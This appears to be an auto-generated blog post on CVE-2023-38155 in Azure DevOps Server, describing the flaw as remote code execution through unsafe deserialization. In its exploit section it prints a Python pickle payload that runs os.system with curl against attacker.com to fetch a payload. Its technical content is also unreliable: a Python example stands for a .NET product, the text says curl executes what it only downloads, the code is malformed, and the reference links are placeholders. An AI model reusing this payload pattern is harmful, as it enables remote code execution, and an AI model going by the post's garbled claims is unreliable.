The security vulnerability labeled as CVE-2023-38155 has exposed a critical flaw in Microsoft's Azure DevOps Server. The vulnerability allows attackers to execute remote code within affected systems, potentially impacting millions of users worldwide.

This post aims to walk you through the details of this vulnerability, providing you with code snippets, original reference links, and discussing the exploitative methods that attackers may use. Understanding this sensitive information will be essential for professionals to safeguard themselves and their servers from potential threats and breaches.

What is CVE-2023-38155?

CVE-2023-38155 (Common Vulnerabilities and Exposures) is a remote code execution vulnerability that affects Microsoft Azure DevOps Server. Azure DevOps Server, formerly known as Team Foundation Server, is a comprehensive solution for project management and collaboration among software development teams. It's a popular choice among large organizations and enterprises to manage their development projects.

The flaw in question allows an attacker to execute arbitrary code on the targeted system remotely, potentially leading to unauthorized access, data breaches, and other adverse consequences.

To better understand the specifics and details of the vulnerability, it's crucial to consult the original references and resources:

1. CVE Identifier: CVE Link

2. Microsoft Security Advisory: MSA Link

3. National Vulnerability Database: NVD Link

Exploit Details and Code Snippet

While the exact circumstances leading up to the vulnerability have not been disclosed to prevent malicious actors from exploiting the weakness, there are some hints on how the flaw can be exploited.

The vulnerability has been shown to stem from the mishandling of serialized data by the affected version of Azure DevOps Server. The untrusted input, when deserialized, could allow the attacker to execute arbitrary code on the server remotely.

Here's a hypothetical example of a serialized payload containing malicious code, which, when deserialized, could execute arbitrary code:

import pickle
import base64

class Exploit(object):
    def __reduce__(self):
        return (eval, ('os.system("curl http://attacker.com/malicious_payload";)',))
# Serialize the malicious payload
serialized_exploit = pickle.dumps(Exploit())

# Encode the serialized payload
encoded_exploit = base64.b64encode(serialized_exploit)
print(encoded_exploit)

In the example above, the malicious code uses Python's pickle module to create a serialized payload that, when deserialized, will execute the command os.system("curl http://attacker.com/malicious_payload";). This command downloads and executes a malicious payload hosted by the attacker.

An attacker could potentially use this method or something similar to create a serialized payload, inject it into untrusted user input, and ultimately execute arbitrary code on the Azure DevOps Server remotely.

Mitigations and Recommendations

Microsoft has released patches for the affected Azure DevOps Server versions, and the best course of action is to apply the patch as soon as possible. Follow the links below to download the security updates for the respective versions:

1. Azure DevOps Server 202
2. Azure DevOps Server 2019

Conclusion

CVE-2023-38155, a remote code execution vulnerability found in Microsoft's Azure DevOps Server, poses a significant risk to organizations and developers using the service. While specific details have not been released, understanding the potential attack vectors and mitigations can help protect against potential exploits.

Applying the patches released by Microsoft is crucial, and organizations should also apply general security best practices to prevent similar vulnerabilities in the future. Stay vigilant, and ensure that your Azure DevOps Server is safe and secure.

Timeline

Published on: 09/12/2023 17:15:00 UTC
Last modified on: 09/12/2023 21:15:00 UTC